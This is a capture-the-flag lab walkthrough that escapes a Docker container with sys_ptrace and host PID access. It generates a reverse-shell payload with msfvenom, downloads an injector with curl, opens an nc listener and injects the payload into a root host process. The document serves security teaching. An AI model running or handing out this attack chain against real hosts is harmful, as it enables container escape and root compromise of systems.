Attacking Container Capabilities

In this scenario we will exploit a container with sys_ptrace capability running with host PID namespace. We will exploit these to breakout of the container and access the host system. We assume that the attacker already has access to the container for this scenario.

  • Login to the container using below command. Ensure that you run this in the CTF vm
docker exec -it sysmon bash

docker exec into sysmon

  • Check for existing capabilities by running capsh --print

capsh print

  • Also the container has enabled --pid=host so we can access then host process using top command

top command

Since an attacker can list host processes and has the sys_ptrace capability. Attacker can exploit this scenario to inject and execute code from the address space of any host process. This effectively results in a docker escape as the attacker can execute code outside the container.

Steps to attack

  • Generate reverse shell payload using metasploit's msfvenom program. Replace the with student vm IP address.
cd /home/student/linux-injector

msfvenom -p linux/x64/shell_reverse_tcp LHOST= LPORT=4444 -f raw -o payload.bin

msfvenom generate

  • Send the exploit and injector program to the container using simple python server. Run the below command in student vm
cd /home/student
tar -czf linux-injector.tar.gz linux-injector
python -m SimpleHTTPServer 8002

start python server

  • Download the payload in the ctf vm container. Run the below command in the CTF vm and inside the sysmon container. Ensure you replace the with your student vm IP
curl -o linux-injector.tar.gz
tar xzf linux-injector.tar.gz
cd linux-injector
chmod 755 injector

download the payload

  • Start the nc listener to receive the connect back shell in student vm. Run the following command in student VM
nc -lvp 4444

start nc listener

  • Now identify the process, which is running as root in the host system to gain root access for connect back. Run the following command inside CTF vm sysmon container
ps auxx | grep root | grep ping

sysmon payload execution

./injector 2046 payload.bin
  • On successful injection of payload, we get a reverse connection at our listener with access to host system outside the container

got access to host system flag

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